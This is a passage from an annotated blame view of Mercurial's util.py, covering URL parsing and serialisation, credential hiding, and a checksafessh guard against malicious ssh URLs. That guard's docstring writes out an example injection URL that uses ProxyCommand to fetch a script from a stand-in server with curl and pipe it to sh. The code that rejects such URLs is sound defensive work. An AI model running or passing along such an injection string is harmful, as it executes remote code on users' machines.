14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3111
34089 30535fe47e78 py3: fix repr(util.url) to return system string Yuya Nishihara <yuya@tcha.org> parents: 34069 diff changeset	3112 @encoding.strmethod
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3113 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3114 attrs = []
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3115 for a in (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3116 b'scheme',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3117 b'user',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3118 b'passwd',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3119 b'host',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3120 b'port',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3121 b'path',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3122 b'query',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3123 b'fragment',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3124 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3125 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3126 if v is not None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3127 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3128 return b'<url %s>' % b', '.join(attrs)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3129
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3130 def __bytes__(self):
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3131 r"""Join the URL's components back into a URL string.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3132
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3133 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3134
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3135 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452 de7e2fba4326 util: don't encode ':' in url paths Mads Kiilerich <mads@kiilerich.com> parents: 15392 diff changeset	3136 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3137 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3138 'http://user:pw@host:80/?foo=bar&baz=42'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3139 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3140 'http://user:pw@host:80/?foo=bar%3dbaz'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3141 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3142 'ssh://user:pw@[::1]:2200//home/joe#'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3143 >>> bytes(url(b'http://localhost:80//'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3144 'http://localhost:80//'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3145 >>> bytes(url(b'http://localhost:80/'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3146 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3147 >>> bytes(url(b'http://localhost:80'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3148 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3149 >>> bytes(url(b'bundle:foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3150 'bundle:foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3151 >>> bytes(url(b'bundle://../foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3152 'bundle:../foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3153 >>> bytes(url(b'path'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3154 'path'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3155 >>> bytes(url(b'file:///tmp/foo/bar'))
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3156 'file:///tmp/foo/bar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3157 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611 ec8a49c46d7e merge with stable Matt Mackall <mpm@selenic.com> parents: 15513 15609 diff changeset	3158 'file:///c:/tmp/foo/bar'
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3159 >>> print(url(br'bundle:foo\bar'))
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3160 bundle:foo\bar
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3161 >>> print(url(br'file:///D:\data\hg'))
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	3162 file:///D:\data\hg
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3163 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3164 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3165 s = self.path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3166 if self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3167 s = b'bundle:' + s
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3168 if self.fragment:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3169 s += b'#' + self.fragment
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3170 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3171
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3172 s = self.scheme + b':'
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3173 if self.user or self.passwd or self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3174 s += b'//'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3175 elif self.scheme and (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3176 not self.path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3177 or self.path.startswith(b'/')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3178 or hasdriveletter(self.path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3179 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3180 s += b'//'
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	3181 if hasdriveletter(self.path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3182 s += b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3183 if self.user:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3184 s += urlreq.quote(self.user, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3185 if self.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3186 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3187 if self.user or self.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3188 s += b'@'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3189 if self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3190 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3191 s += urlreq.quote(self.host)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3192 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3193 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3194 if self.port:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3195 s += b':' + urlreq.quote(self.port)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3196 if self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3197 s += b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3198 if self.path:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3199 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3200 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3201 # which we should not escape.
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3202 s += urlreq.quote(self.path, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3203 if self.query:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3204 # we store the query in escaped form.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3205 s += b'?' + self.query
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3206 if self.fragment is not None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3207 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3208 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3209
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3210 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3211
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3212 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3213 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3214 try:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3215 self.user, self.passwd = None, None
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3216 s = bytes(self)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3217 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3218 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3219 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3220 return (s, None)
15028 eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3221 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3222 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3223 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3224 # a password.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3225 return (s, (None, (s, self.host), self.user, self.passwd or b''))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3226
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3227 def isabs(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3228 if self.scheme and self.scheme != b'file':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3229 return True # remote URL
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3230 if hasdriveletter(self.path):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3231 return True # absolute for our purposes - can't be joined()
33108 d9962854a4a2 py3: add b'' to make the regex pattern bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 33106 diff changeset	3232 if self.path.startswith(br'\\'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3233 return True # Windows UNC path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3234 if self.path.startswith(b'/'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3235 return True # POSIX-style
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3236 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3237
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3238 def localpath(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3239 if self.scheme == b'file' or self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3240 path = self.path or b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3241 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3242 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3243 if hasdriveletter(self._hostport):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3244 path = self._hostport + b'/' + self.path
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3245 elif (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3246 self.host is not None and self.path and not hasdriveletter(path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3247 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3248 path = b'/' + path
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3249 return path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3250 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3251
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3252 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3253 '''whether localpath will return something that posixfile can open'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3254 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3255 not self.scheme
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3256 or self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3257 or self.scheme == b'bundle'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3258 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3259
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3260
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3261 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3262 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3263
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3264
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3265 def hasdriveletter(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3266 return path and path[1:2] == b':' and path[0:1].isalpha()
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3267
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3268
14825 de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875) Mads Kiilerich <mads@kiilerich.com> parents: 14766 diff changeset	3269 def urllocalpath(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3270 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3271
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3272
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3273 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3274 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3275
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3276 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3277 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server\|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3278 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3279 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3280
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3281 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3282 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3283 path = urlreq.unquote(path)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3284 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3285 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3286 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3287 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3288
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3289
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3290 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3291 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3292 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3293 if u.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3294 u.passwd = b'***'
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3295 return bytes(u)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3296
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3297
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3298 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3299 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3300 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3301 u.user = u.passwd = None
37366 b23e3cc1afd4 py3: return bytes from util.removeauth() Pulkit Goyal <7895pulkit@gmail.com> parents: 37322 diff changeset	3302 return bytes(u)
14515 76f295eaed86 util: add helper function isatty(fd) to check for tty-ness Idan Kamara <idankk86@gmail.com> parents: 14313 diff changeset	3303
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3304
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3305 timecount = unitcountfn(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3306 (1, 1e3, _(b'%.0f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3307 (100, 1, _(b'%.1f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3308 (10, 1, _(b'%.2f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3309 (1, 1, _(b'%.3f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3310 (100, 0.001, _(b'%.1f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3311 (10, 0.001, _(b'%.2f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3312 (1, 0.001, _(b'%.3f ms')),
